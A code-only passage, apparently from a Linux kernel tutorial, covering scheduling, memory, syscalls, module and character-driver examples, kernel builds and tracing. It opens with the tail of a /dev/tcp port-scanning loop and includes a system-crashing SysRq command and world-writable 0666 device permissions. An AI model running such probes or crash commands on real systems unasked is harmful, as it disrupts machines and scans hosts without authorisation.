    timeout 1 bash -c "echo >/dev/tcp/$HOST/$port" 2>/dev/null && \
        echo "Port $port: OPEN"
done

- Preemptive multitasking
- Symmetric multiprocessing (SMP)
- Virtual memory management
- Loadable kernel modules
- Multiple filesystem support
- POSIX compliance
- Dynamic kernel memory allocation
- Networking stack (TCP/IP, IPv6)
- Advanced security features (SELinux, AppArmor)
- Real-time capabilities (PREEMPT_RT)

# Check kernel version
uname -r
# Output: 6.5.0-15-generic

# Format: MAJOR.MINOR.PATCH-BUILD-ARCH
# 6.5.0 - kernel version
# 15 - distribution build number
# generic - kernel flavor/variant

/usr/src/linux/
├── arch/           # Architecture-specific code (x86, ARM, etc.)
├── block/          # Block device drivers
├── crypto/         # Cryptographic API
├── Documentation/  # Kernel documentation
├── drivers/        # Device drivers
│   ├── char/       # Character devices
│   ├── block/      # Block devices
│   ├── net/        # Network devices
│   ├── gpu/        # Graphics drivers
│   └── usb/        # USB drivers
├── fs/             # File system implementations
│   ├── ext4/       # ext4 filesystem
│   ├── btrfs/      # Btrfs filesystem
│   └── nfs/        # Network file system
├── include/        # Header files
│   ├── linux/      # Linux-specific headers
│   └── uapi/       # User-space API headers
├── init/           # Kernel initialization
├── ipc/            # Inter-process communication
├── kernel/         # Core kernel code
│   ├── sched/      # Process scheduler
│   ├── time/       # Time management
│   └── irq/        # Interrupt handling
├── lib/            # Library routines
├── mm/             # Memory management
├── net/            # Networking stack
│   ├── ipv4/       # IPv4 implementation
│   ├── ipv6/       # IPv6 implementation
│   └── core/       # Core networking
├── samples/        # Sample code
├── scripts/        # Build scripts
├── security/       # Security modules (SELinux, AppArmor)
├── sound/          # Sound drivers
└── tools/          # Kernel tools and utilities

+------------------------------------------+
|           User Space (Ring 3)            |
| +--------------------------------------+ |
| | User Applications                    | |
| | (web browsers, editors, games, etc.) | |
| +--------------------------------------+ |
|                   ↕                      |
| +--------------------------------------+ |
| | System Libraries (glibc, etc.)       | |
| +--------------------------------------+ |
+------------------------------------------+
                   ↕
         System Call Interface
                   ↕
+------------------------------------------+
|         Kernel Space (Ring 0)            |
| +--------------------------------------+ |
| | System Call Interface                | |
| +--------------------------------------+ |
| | Process    | Memory   | File System | |
| | Management | Manager  | Layer       | |
| +--------------------------------------+ |
| | Network    | IPC      | Security    | |
| | Stack      | Layer    | Modules     | |
| +--------------------------------------+ |
| | Device Drivers                       | |
| | (char, block, network)               | |
| +--------------------------------------+ |
| | Architecture-Specific Code           | |
| | (CPU, MMU, interrupts)               | |
| +--------------------------------------+ |
+------------------------------------------+
                   ↕
            Hardware Layer

// Scheduling classes (from highest to lowest priority)
1. SCHED_DEADLINE  // Deadline scheduling (real-time)
2. SCHED_FIFO      // First-in-first-out (real-time)
3. SCHED_RR        // Round-robin (real-time)
4. SCHED_NORMAL    // Standard time-sharing (CFS)
5. SCHED_BATCH     // Batch processes
6. SCHED_IDLE      // Very low priority

// Completely Fair Scheduler (CFS) - default for SCHED_NORMAL
// - Uses red-black tree for O(log n) operations
// - Virtual runtime tracking
// - Fair CPU time distribution

# View process scheduling info
ps -eo pid,pri,ni,comm,policy

# Change scheduling policy
chrt -f -p 99 PID        # Set to FIFO with priority 99
chrt -r -p 50 PID        # Set to Round-robin
chrt -o -p 0 PID         # Set to normal

# Change nice value (-20 to 19)
nice -n 10 command       # Run with nice value 10
renice -n 5 -p PID       # Change nice value of running process

Virtual Memory Layout (64-bit x86):

0x00007FFFFFFFFFFF  +------------------+
                    | User Stack       | (grows down)
                    +------------------+
                    | Memory Mapped    |
                    | Files & Libs     |
                    +------------------+
                    | Heap             | (grows up)
                    +------------------+
                    | BSS (uninit data)|
                    +------------------+
                    | Data (init data) |
                    +------------------+
0x0000000000400000  | Text (code)      |
                    +------------------+
                    | Reserved         |
0x0000000000000000  +------------------+

Kernel Space Layout:

0xFFFFFFFFFFFFFFFF  +------------------+
                    | Kernel Code/Data |
                    +------------------+
                    | Direct Mapping   |
                    | (Physical RAM)   |
                    +------------------+
                    | vmalloc Area     |
                    +------------------+
                    | Module Space     |
0xFFFF800000000000  +------------------+

ZONE_DMA       - Memory for DMA (0-16MB on x86)
ZONE_DMA32     - Memory for 32-bit DMA (0-4GB)
ZONE_NORMAL    - Normal memory (above 4GB on 64-bit)
ZONE_HIGHMEM   - High memory (not directly mapped, 32-bit only)
ZONE_MOVABLE   - Memory that can be migrated

// VFS Objects
struct super_block  // Mounted filesystem
struct inode        // File metadata
struct dentry       // Directory entry (name to inode mapping)
struct file         // Open file instance

// File operations structure
struct file_operations {
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    int (*open) (struct inode *, struct file *);
    int (*release) (struct inode *, struct file *);
    // ... more operations
};

Layer Model:

Application Layer
       ↕
Socket Interface
       ↕
Transport Layer (TCP/UDP)
       ↕
Network Layer (IP)
       ↕
Link Layer (Ethernet, WiFi)
       ↕
Device Driver
       ↕
Hardware

# Check page size
getconf PAGE_SIZE
# Usually 4096 bytes (4KB)

# View memory info
cat /proc/meminfo
# MemTotal, MemFree, MemAvailable, Buffers, Cached, etc.

# Memory statistics
vmstat 1
# View paging, memory, CPU stats every second

# Detailed memory usage
cat /proc/PID/status | grep -i vm
cat /proc/PID/maps    # Memory mappings

// Physically contiguous memory
kmalloc(size, GFP_KERNEL)     // Standard allocation
kfree(ptr)                     // Free memory

// Virtual contiguous memory
vmalloc(size)                  // Large allocations
vfree(ptr)

// Page-based allocation
alloc_pages(gfp_mask, order)   // 2^order pages
free_pages(addr, order)

// Flags (GFP = Get Free Pages)
GFP_KERNEL    // Standard, may sleep
GFP_ATOMIC    // Cannot sleep, for interrupts
GFP_USER      // User space allocation
GFP_DMA       // DMA-capable memory

# View OOM score (higher = more likely to be killed)
cat /proc/PID/oom_score

# Adjust OOM score (-1000 to 1000)
echo -500 > /proc/PID/oom_score_adj  # Less likely to be killed
echo 500 > /proc/PID/oom_score_adj   # More likely to be killed

# Disable OOM killer for process
echo -1000 > /proc/PID/oom_score_adj

# View OOM killer logs
dmesg | grep -i "out of memory"
journalctl -k | grep -i "oom"

# View swap usage
swapon --show
free -h

# Create swap file
dd if=/dev/zero of=/swapfile bs=1M count=1024
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile

# Control swappiness (0-100, default 60)
cat /proc/sys/vm/swappiness
echo 10 > /proc/sys/vm/swappiness  # Less aggressive swapping

# Make permanent in /etc/sysctl.conf
vm.swappiness=10

# View huge page info
cat /proc/meminfo | grep -i huge

# Configure huge pages
echo 512 > /proc/sys/vm/nr_hugepages

# Transparent Huge Pages (THP)
cat /sys/kernel/mm/transparent_hugepage/enabled
echo always > /sys/kernel/mm/transparent_hugepage/enabled
echo madvise > /sys/kernel/mm/transparent_hugepage/enabled  # Recommended
echo never > /sys/kernel/mm/transparent_hugepage/enabled

// Task structure (Process Control Block)
struct task_struct {
    pid_t pid;                     // Process ID
    pid_t tgid;                    // Thread group ID
    struct task_struct *parent;    // Parent process
    struct list_head children;     // Child processes
    struct mm_struct *mm;          // Memory descriptor
    struct fs_struct *fs;          // Filesystem info
    struct files_struct *files;    // Open files
    int exit_state;                // Exit status
    unsigned int policy;           // Scheduling policy
    // ... many more fields
};

TASK_RUNNING           // Running or ready to run
TASK_INTERRUPTIBLE     // Sleeping, can be woken by signals
TASK_UNINTERRUPTIBLE   // Sleeping, cannot be interrupted
TASK_STOPPED           // Stopped (e.g., by SIGSTOP)
TASK_TRACED            // Being traced by debugger
EXIT_ZOMBIE            // Terminated, waiting for parent
EXIT_DEAD              // Final state before removal

ps aux
# STAT column:
# R - Running
# S - Sleeping (interruptible)
# D - Sleeping (uninterruptible, usually I/O)
# T - Stopped
# Z - Zombie
# < - High priority
# N - Low priority
# + - Foreground process group

# Find stuck processes (uninterruptible sleep)
ps aux | awk '$8 ~ /D/'

#include <unistd.h>
#include <stdio.h>

int main() {
    pid_t pid = fork();

    if (pid < 0) {
        // Fork failed
        perror("fork");
        return 1;
    } else if (pid == 0) {
        // Child process
        printf("Child: PID = %d\n", getpid());
    } else {
        // Parent process
        printf("Parent: PID = %d, Child PID = %d\n", getpid(), pid);
    }

    return 0;
}

#include <unistd.h>

int main() {
    char *args[] = {"/bin/ls", "-l", NULL};
    execv("/bin/ls", args);  // Replace current process

    // Only reached if exec fails
    perror("exec");
    return 1;
}

# Namespace types
PID      # Process IDs
NET      # Network stack
MNT      # Mount points
IPC      # Inter-process communication
UTS      # Hostname and domain name
USER     # User and group IDs
CGROUP   # Control groups

# View process namespaces
ls -l /proc/self/ns/
lsns  # List namespaces

# Create new namespace
unshare --pid --fork bash  # New PID namespace
unshare --net bash         # New network namespace

# Enter namespace
nsenter --target PID --pid --uts --net bash

User Space:
  Application calls glibc function
         ↓
  glibc wrapper function
         ↓
  Software interrupt (int 0x80 or syscall instruction)
         ↓
Kernel Space:
  System call handler
         ↓
  Kernel function implementation
         ↓
  Return to user space

fork()          // Create child process
exec()          // Execute program
exit()          // Terminate process
wait()          // Wait for child process
getpid()        // Get process ID
getppid()       // Get parent process ID
kill()          // Send signal to process
nice()          // Change priority

open()          // Open file
close()         // Close file
read()          // Read from file
write()         // Write to file
lseek()         // Change file position
stat()          // Get file status
chmod()         // Change permissions
chown()         // Change ownership
link()          // Create hard link
unlink()        // Delete file
mkdir()         // Create directory
rmdir()         // Remove directory

brk()           // Change data segment size
mmap()          // Map file or device into memory
munmap()        // Unmap memory
mprotect()      // Change memory protection
mlock()         // Lock memory (prevent swapping)

socket()        // Create socket
bind()          // Bind socket to address
listen()        // Listen for connections
accept()        // Accept connection
connect()       // Connect to remote socket
send()          // Send data
recv()          // Receive data
shutdown()      // Shut down socket

# Trace program execution
strace ls
strace -o output.txt ls    # Save to file

# Trace specific system calls
strace -e open,read ls     # Only open and read
strace -e trace=file ls    # All file operations
strace -e trace=network curl example.com

# Attach to running process
strace -p PID

# Count system call statistics
strace -c ls

# Follow child processes
strace -f ./program

# Timestamp system calls
strace -t ls               # Time of day
strace -T ls               # Time spent in each call

# Examples
strace -e trace=open,openat cat /etc/passwd
strace -c find / -name "*.log" 2>/dev/null
strace -p $(pgrep nginx | head -1)

// kernel/sys.c
SYSCALL_DEFINE1(hello, char __user *, msg)
{
    char kernel_msg[256];

    if (copy_from_user(kernel_msg, msg, sizeof(kernel_msg)))
        return -EFAULT;

    printk(KERN_INFO "System call hello: %s\n", kernel_msg);
    return 0;
}

// arch/x86/entry/syscalls/syscall_64.tbl
450    common    hello    sys_hello

#include <unistd.h>
#include <sys/syscall.h>

#define __NR_hello 450

int main() {
    syscall(__NR_hello, "Hello from user space!");
    return 0;
}

# List loaded modules
lsmod

# Module information
modinfo module_name

# Load module
modprobe module_name
insmod /path/to/module.ko

# Unload module
modprobe -r module_name
rmmod module_name

# Module dependencies
depmod -a

# Module parameters
modinfo -p module_name
modprobe module_name param=value

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("A simple Hello World module");
MODULE_VERSION("1.0");

// Module initialization
static int __init hello_init(void)
{
    printk(KERN_INFO "Hello World module loaded\n");
    return 0;  // 0 = success
}

// Module cleanup
static void __exit hello_exit(void)
{
    printk(KERN_INFO "Hello World module unloaded\n");
}

// Register init and exit functions
module_init(hello_init);
module_exit(hello_exit);

obj-m += hello_module.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

install:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules_install
	depmod -a

# Compile
make

# Load module
sudo insmod hello_module.ko

# Check kernel log
dmesg | tail

# Unload module
sudo rmmod hello_module

# Install system-wide
sudo make install

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>

MODULE_LICENSE("GPL");

static int count = 1;
static char *name = "World";

module_param(count, int, S_IRUGO);
module_param(name, charp, S_IRUGO);

MODULE_PARM_DESC(count, "Number of times to greet");
MODULE_PARM_DESC(name, "Name to greet");

static int __init param_init(void)
{
    int i;
    for (i = 0; i < count; i++) {
        printk(KERN_INFO "Hello %s! (%d/%d)\n", name, i+1, count);
    }
    return 0;
}

static void __exit param_exit(void)
{
    printk(KERN_INFO "Goodbye %s!\n", name);
}

module_init(param_init);
module_exit(param_exit);

sudo insmod param_module.ko count=3 name="Linux"

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "chardev"
#define BUFFER_SIZE 1024

MODULE_LICENSE("GPL");

static int major_number;
static char device_buffer[BUFFER_SIZE];
static int buffer_size = 0;

// File operations
static int dev_open(struct inode *inodep, struct file *filep)
{
    printk(KERN_INFO "chardev: Device opened\n");
    return 0;
}

static ssize_t dev_read(struct file *filep, char *buffer, 
                        size_t len, loff_t *offset)
{
    int bytes_read = 0;

    if (*offset >= buffer_size)
        return 0;

    bytes_read = buffer_size - *offset;
    if (bytes_read > len)
        bytes_read = len;

    if (copy_to_user(buffer, device_buffer + *offset, bytes_read))
        return -EFAULT;

    *offset += bytes_read;
    return bytes_read;
}

static ssize_t dev_write(struct file *filep, const char *buffer, 
                         size_t len, loff_t *offset)
{
    int bytes_written = len;

    if (bytes_written > BUFFER_SIZE)
        bytes_written = BUFFER_SIZE;

    if (copy_from_user(device_buffer, buffer, bytes_written))
        return -EFAULT;

    buffer_size = bytes_written;
    printk(KERN_INFO "chardev: Received %d bytes\n", bytes_written);
    return bytes_written;
}

static int dev_release(struct inode *inodep, struct file *filep)
{
    printk(KERN_INFO "chardev: Device closed\n");
    return 0;
}

static struct file_operations fops = {
    .open = dev_open,
    .read = dev_read,
    .write = dev_write,
    .release = dev_release,
};

static int __init chardev_init(void)
{
    major_number = register_chrdev(0, DEVICE_NAME, &fops);

    if (major_number < 0) {
        printk(KERN_ALERT "chardev: Failed to register\n");
        return major_number;
    }

    printk(KERN_INFO "chardev: Registered with major number %d\n", 
           major_number);
    printk(KERN_INFO "chardev: Create device with: mknod /dev/%s c %d 0\n",
           DEVICE_NAME, major_number);
    return 0;
}

static void __exit chardev_exit(void)
{
    unregister_chrdev(major_number, DEVICE_NAME);
    printk(KERN_INFO "chardev: Unregistered\n");
}

module_init(chardev_init);
module_exit(chardev_exit);

# Load module
sudo insmod chardev.ko

# Create device node
sudo mknod /dev/chardev c <major_number> 0
sudo chmod 666 /dev/chardev

# Test device
echo "Hello" > /dev/chardev
cat /dev/chardev

# Cleanup
sudo rm /dev/chardev
sudo rmmod chardev

# View device hierarchy
ls /sys/devices/
ls /sys/class/

# PCI devices
lspci -v
ls /sys/bus/pci/devices/

# USB devices
lsusb -v
ls /sys/bus/usb/devices/

# Block devices
lsblk
ls /sys/block/

# Network devices
ip link show
ls /sys/class/net/

# Device information
udevadm info --query=all --name=/dev/sda

# Example: Custom USB device rule
# /etc/udev/rules.d/99-usb-device.rules
SUBSYSTEM=="usb", ATTR{idVendor}=="1234", ATTR{idProduct}=="5678", \
    MODE="0666", GROUP="users", SYMLINK+="mydevice"

# Reload udev rules
sudo udevadm control --reload-rules
sudo udevadm trigger

# Monitor udev events
udevadm monitor

cat /proc/filesystems
# ext4, btrfs, xfs, nfs, vfat, tmpfs, etc.

# Filesystem modules
ls /lib/modules/$(uname -r)/kernel/fs/

# Create ext4 filesystem
mkfs.ext4 /dev/sdb1

# Filesystem check
fsck.ext4 /dev/sdb1
e2fsck -f /dev/sdb1

# Filesystem information
dumpe2fs /dev/sdb1
tune2fs -l /dev/sdb1

# Tune filesystem
tune2fs -m 1 /dev/sdb1           # Reserved blocks percentage
tune2fs -c 30 /dev/sdb1          # Max mount count
tune2fs -i 6m /dev/sdb1          # Check interval

# Enable/disable features
tune2fs -O has_journal /dev/sdb1   # Enable journaling
tune2fs -O ^has_journal /dev/sdb1  # Disable journaling

# Debugfs - interactive ext2/ext3/ext4 debugger
debugfs /dev/sdb1
# Commands: ls, cd, stat, logdump, etc.

# View inode information
stat /path/to/file
ls -i /path/to/file              # Show inode number
debugfs -R "stat <inode_number>" /dev/sdb1

# Find deleted files
debugfs -R "lsdel" /dev/sdb1

+-----------------+
| Application     |
+-----------------+
| Socket Layer    |
+-----------------+
| Protocol Layer  | (TCP, UDP, ICMP)
+-----------------+
| IP Layer        | (IPv4, IPv6, routing)
+-----------------+
| Link Layer      | (Ethernet, WiFi)
+-----------------+
| Device Driver   |
+-----------------+
| Hardware        |
+-----------------+

# View network configuration
ip addr show
ip route show
ip link show

# Network statistics
cat /proc/net/dev               # Interface statistics
cat /proc/net/tcp               # TCP connections
cat /proc/net/udp               # UDP connections
netstat -s                      # Protocol statistics

# Socket buffers
sysctl net.core.rmem_max        # Receive buffer
sysctl net.core.wmem_max        # Send buffer

# TCP parameters
sysctl net.ipv4.tcp_rmem        # TCP receive memory
sysctl net.ipv4.tcp_wmem        # TCP send memory
sysctl net.ipv4.tcp_congestion_control

# Download from kernel.org
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.5.tar.xz
tar -xf linux-6.5.tar.xz
cd linux-6.5

# Or use git
git clone https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
cd linux
git checkout v6.5

# Distribution specific
# Ubuntu/Debian
apt-get source linux-image-$(uname -r)

# Fedora/RHEL
dnf download --source kernel

cd /usr/src/linux

# Configuration methods
make config           # Text-based Q&A (tedious)
make menuconfig       # Text-based menu (ncurses)
make xconfig          # Qt-based GUI
make gconfig          # GTK-based GUI

# Use existing config
make oldconfig        # Update old config
make localmodconfig   # Only modules for current hardware
make defconfig        # Default configuration
cp /boot/config-$(uname -r) .config  # Copy running config

# Configuration file
.config               # Generated configuration

# General setup
CONFIG_LOCALVERSION="-custom"        # Custom kernel name
CONFIG_DEFAULT_HOSTNAME="myhost"

# Processor type
CONFIG_SMP=y                         # Symmetric multiprocessing
CONFIG_NR_CPUS=8                     # Number of CPUs

# Power management
CONFIG_CPU_FREQ=y                    # CPU frequency scaling
CONFIG_HIBERNATION=y

# Networking
CONFIG_NETFILTER=y                   # Firewall support
CONFIG_BRIDGE=y                      # Network bridging

# Filesystems
CONFIG_EXT4_FS=y                     # ext4 filesystem
CONFIG_BTRFS_FS=y                    # Btrfs filesystem

# Security
CONFIG_SECURITY_SELINUX=y            # SELinux support
CONFIG_SECURITY_APPARMOR=y           # AppArmor support

# Debugging
CONFIG_DEBUG_KERNEL=y                # Kernel debugging
CONFIG_KGDB=y                        # Kernel debugger
CONFIG_DEBUG_INFO=y                  # Debug symbols

# Install build dependencies
# Ubuntu/Debian
sudo apt install build-essential libncurses-dev bison flex \
                 libssl-dev libelf-dev bc

# Fedora/RHEL
sudo dnf groupinstall "Development Tools"
sudo dnf install ncurses-devel bison flex elfutils-libelf-devel \
                 openssl-devel bc

# Build kernel
make -j$(nproc)                      # Use all CPU cores

# Or build specific targets
make bzImage                         # Kernel image
make modules                         # Kernel modules
make dtbs                            # Device tree blobs (ARM)

# Install
sudo make modules_install            # Install modules to /lib/modules
sudo make install                    # Install kernel to /boot

# Manual installation
sudo cp arch/x86/boot/bzImage /boot/vmlinuz-6.5-custom
sudo cp System.map /boot/System.map-6.5-custom
sudo cp .config /boot/config-6.5-custom

# Update bootloader
sudo update-grub                     # Debian/Ubuntu
sudo grub2-mkconfig -o /boot/grub2/grub.cfg  # Fedora/RHEL

# Reboot
sudo reboot

# Install cross-compiler
sudo apt install gcc-arm-linux-gnueabi

# Configure for target architecture
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabi- defconfig

# Build
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabi- -j$(nproc)

# Example architectures
ARCH=arm                             # ARM 32-bit
ARCH=arm64                           # ARM 64-bit (aarch64)
ARCH=mips                            # MIPS
ARCH=powerpc                         # PowerPC
ARCH=riscv                           # RISC-V

# Apply patch
patch -p1 < patch-file.patch

# Create patch
diff -Naur original/ modified/ > my-patch.patch

# Check if patch applies cleanly
patch -p1 --dry-run < patch-file.patch

# Reverse patch
patch -R -p1 < patch-file.patch

#include <linux/printk.h>

// Log levels (from highest to lowest priority)
printk(KERN_EMERG "System is unusable\n");           // 0
printk(KERN_ALERT "Action must be taken\n");         // 1
printk(KERN_CRIT "Critical conditions\n");           // 2
printk(KERN_ERR "Error conditions\n");               // 3
printk(KERN_WARNING "Warning conditions\n");         // 4
printk(KERN_NOTICE "Normal but significant\n");      // 5
printk(KERN_INFO "Informational\n");                 // 6
printk(KERN_DEBUG "Debug-level messages\n");         // 7

// Default level (usually KERN_WARNING)
printk("Default level message\n");

// Dynamic debug (if CONFIG_DYNAMIC_DEBUG enabled)
pr_debug("Debug message\n");

dmesg                                # View kernel ring buffer
dmesg -w                             # Follow new messages
dmesg -l err                         # Only errors
dmesg --level=err,warn               # Errors and warnings
dmesg -T                             # Human-readable timestamps

journalctl -k                        # Kernel messages via systemd
journalctl -k -f                     # Follow kernel messages
journalctl -k --since "1 hour ago"

# Set console log level
dmesg -n 1                           # Only emergency messages to console
echo 7 > /proc/sys/kernel/printk     # All messages to console

# Build kernel with debugging enabled
CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_INFO=y
CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y

# Boot with KGDB enabled
linux ... kgdboc=ttyS0,115200 kgdbwait

# Connect with GDB
gdb vmlinux
(gdb) target remote /dev/ttyS0
(gdb) break sys_open
(gdb) continue

# Install kdump
# Ubuntu/Debian
sudo apt install kdump-tools

# Fedora/RHEL
sudo dnf install kexec-tools

# Configure kdump
# Edit /etc/default/kdump-tools (Debian) or /etc/sysconfig/kdump (RHEL)

# Reserve memory for crash kernel
# Add to kernel parameters: crashkernel=384M-:128M

# Enable kdump
sudo systemctl enable kdump
sudo systemctl start kdump

# Test crash
echo c > /proc/sysrq-trigger         # WARNING: Crashes system!

# Analyze crash dump
crash /usr/lib/debug/vmlinux-<version> /var/crash/vmcore

# Enable SysRq
echo 1 > /proc/sys/kernel/sysrq

# SysRq commands (Alt+SysRq+<key>)
# Or: echo <key> > /proc/sysrq-trigger

b - Reboot immediately
c - Crash (for kdump)
e - SIGTERM to all processes
f - OOM killer
h - Help
i - SIGKILL to all processes
k - Kill all on current console
m - Memory info
p - Current registers and flags
r - Keyboard raw mode
s - Sync all filesystems
t - Task list
u - Remount filesystems read-only
w - Tasks in uninterruptible sleep

# Safe reboot sequence (REISUB)
# R - Raw keyboard mode
# E - SIGTERM all
# I - SIGKILL all
# S - Sync disks
# U - Remount read-only
# B - Reboot

# Mount debugfs
mount -t debugfs none /sys/kernel/debug

cd /sys/kernel/debug/tracing

# Available tracers
cat available_tracers
# function, function_graph, blk, wakeup, etc.

# Enable function tracer
echo function > current_tracer
echo 1 > tracing_on

# View trace
cat trace | head -20

# Stop tracing
echo 0 > tracing_on

# Trace specific function
echo sys_open > set_ftrace_filter
echo function > current_tracer
echo 1 > tracing_on

# Clear trace
echo > trace

# Example: Trace network stack
echo 1 > events/net/enable
echo 1 > tracing_on
# Generate network traffic
cat trace

# Install SystemTap
sudo apt install systemtap systemtap-runtime

# Install kernel debug symbols
sudo apt install linux-image-$(uname -r)-dbgsym

# Simple script (hello.stp)
probe begin {
    printf("Hello, SystemTap!\n")
    exit()
}

# Run script
sudo stap hello.stp

# Trace system calls
sudo stap -e 'probe syscall.open { println(execname()) }'

# Count system calls
sudo stap -e '
    global count
    probe syscall.* {
        count[name]++
    }
    probe end {
        foreach (syscall in count-)
            printf("%20s: %d\n", syscall, count[syscall])
    }
' -c "ls -l /"

# Install perf
sudo apt install linux-tools-$(uname -r)

# Record CPU cycles
sudo perf record -a sleep 10

# View report
sudo perf report

# CPU profiling
sudo perf top

# Stat command
sudo perf stat ls -R /

# Trace system calls
sudo perf trace ls

# Record specific events
sudo perf record -e sched:sched_switch -a sleep 5
sudo perf script

# Hardware counters
perf list                          # List available events
sudo perf stat -e cache-misses,cache-references ls

# View all parameters
sysctl -a

# View specific parameter
sysctl vm.swappiness

# Set temporarily
sudo sysctl vm.swappiness=10

# Set permanently (/etc/sysctl.conf or /etc/sysctl.d/)
echo "vm.swappiness=10" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p                     # Reload configuration

# Virtual Memory
vm.swappiness=10                   # Reduce swap usage
vm.dirty_ratio=10                  # Dirty page threshold for writeback
vm.dirty_background_ratio=5        # Background writeback threshold
vm.overcommit_memory=1             # Allow memory overcommit

# Network
net.core.rmem_max=134217728        # Max receive buffer
net.core.wmem_max=134217728        # Max send buffer
net.core.netdev_max_backlog=5000   # Input queue size
net.ipv4.tcp_rmem=4096 87380 67108864     # TCP read memory
net.ipv4.tcp_wmem=4096 65536 67108864     # TCP write memory
net.ipv4.tcp_congestion_control=bbr        # Congestion algorithm
net.ipv4.tcp_fastopen=3            # TCP Fast Open
net.ipv4.tcp_mtu_probing=1         # Path MTU discovery
net.ipv4.ip_forward=1              # IP forwarding

# File System
fs.file-max=2097152                # Max open files system-wide
fs.inotify.max_user_watches=524288 # Inotify watches

# Kernel
kernel.sysrq=1                     # Enable SysRq
kernel.panic=10                    # Reboot 10s after panic
kernel.pid_max=4194304             # Max PIDs

# View available schedulers
cat /sys/block/sda/queue/scheduler
# [mq-deadline] kyber bfq none

# Change scheduler
echo kyber > /sys/block/sda/queue/scheduler

# Schedulers:
# mq-deadline - Default, good for most workloads
# kyber - Low latency, good for SSDs
# bfq - Fair queueing, good for desktops
# none - No scheduling (for NVMe with low latency)

# Make permanent (udev rule)
# /etc/udev/rules.d/60-scheduler.rules
ACTION=="add|change", KERNEL=="sd[a-z]", ATTR{queue/scheduler}="kyber"

# View current governor
cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor

# Available governors
cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors
# performance powersave schedutil ondemand conservative

# Set governor
echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor

# Governors:
# performance - Max frequency
# powersave - Min frequency
# ondemand - Dynamic scaling (legacy)
# schedutil - Scheduler-driven (default, recommended)
# conservative - Gradual scaling

# Using cpupower
sudo cpupower frequency-set -g performance
sudo cpupower frequency-info

# Configure huge pages
echo 512 > /proc/sys/vm/nr_hugepages

# Transparent Huge Pages
echo always > /sys/kernel/mm/transparent_hugepage/enabled
echo madvise > /sys/kernel/mm/transparent_hugepage/enabled  # Recommended

# View huge page usage
cat /proc/meminfo | grep -i huge

# Permanent configuration (/etc/sysctl.conf)
vm.nr_hugepages=512

# Check NUMA configuration
numactl --hardware

# View NUMA statistics
numastat

# Run program on specific NUMA node
numactl --cpunodebind=0 --membind=0 ./program

# Automatic NUMA balancing
echo 1 > /proc/sys/kernel/numa_balancing

#!/bin/bash
# System performance monitoring script

echo "=== CPU Usage ==="
mpstat 1 5 | tail -1

echo -e "\n=== Memory Usage ==="
free -h

echo -e "\n=== Disk I/O ==="
iostat -xz 1 2 | tail -n +3

echo -e "\n=== Network ==="
sar -n DEV 1 1 | tail -3

echo -e "\n=== Top Processes by CPU ==="
ps aux --sort=-%cpu | head -6

echo -e "\n=== Top Processes by Memory ==="
ps aux --sort=-%mem | head -6

echo -e "\n=== Load Average ==="
uptime

echo -e "\n=== Kernel Parameters ==="
sysctl vm.swappiness net.ipv4.tcp_congestion_control

/**
 * template_module.c - Template for kernel modules
 */
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("Template module");
MODULE_VERSION("1.0");

static int __init template_init(void)
{
    printk(KERN_INFO "template: Module loaded\n");

    // Initialize your code here

    return 0;
}

static void __exit template_exit(void)
{
    // Cleanup your code here

    printk(KERN_INFO "template: Module unloaded\n");
}

module_init(template_init);
module_exit(template_exit);

// Use tabs (8 characters) for indentation, not spaces
int function_name(int arg1, int arg2)
{
	int local_var;

	if (condition) {
		do_something();
	} else {
		do_something_else();
	}

	return 0;
}

// Prefer 80 columns, maximum 100 columns
// Break long lines sensibly
static const struct file_operations my_fops = {
	.owner = THIS_MODULE,
	.open = my_open,
	.read = my_read,
	.write = my_write,
	.release = my_release,
};

// Use descriptive, lowercase names with underscores
int count_active_users(struct user_struct *user);

// Global functions should be prefixed with subsystem name
int netdev_register_device(struct net_device *dev);

// Static functions can be shorter
static int validate(void);

// Avoid Hungarian notation
int nr_pages;           // Good
int iPageCount;         // Bad

// Opening brace on same line for functions, structs, etc.
struct my_struct {
	int member;
};

// But on next line for functions
int my_function(void)
{
	// function body
}

// Single statement doesn't need braces (but be careful)
if (condition)
	return -EINVAL;

// Multiple statements always need braces
if (condition) {
	do_something();
	return 0;
}

/*
 * Multi-line comments use this format.
 * Each line starts with a star.
 * The closing star-slash is on its own line.
 */

// Single-line comments can use C++ style, but prefer /* */ style

/**
 * function_name - Short description
 * @param1: Description of param1
 * @param2: Description of param2
 *
 * Longer description of what the function does.
 * This can span multiple lines.
 *
 * Return: Description of return value
 */
int function_name(int param1, char *param2)
{
	/* Implementation */
}

/* Define operations structure */
struct my_operations {
	int (*init)(void);
	void (*cleanup)(void);
	int (*process)(void *data);
};

/* Define registration structure */
struct my_driver {
	const char *name;
	struct my_operations *ops;
	struct list_head list;
};

/* Registration function */
int register_my_driver(struct my_driver *driver)
{
	if (!driver || !driver->ops)
		return -EINVAL;

	/* Add to global list with locking */
	mutex_lock(&drivers_mutex);
	list_add_tail(&driver->list, &drivers_list);
	mutex_unlock(&drivers_mutex);

	/* Initialize if needed */
	if (driver->ops->init)
		return driver->ops->init();

	return 0;
}

/* Unregistration */
void unregister_my_driver(struct my_driver *driver)
{
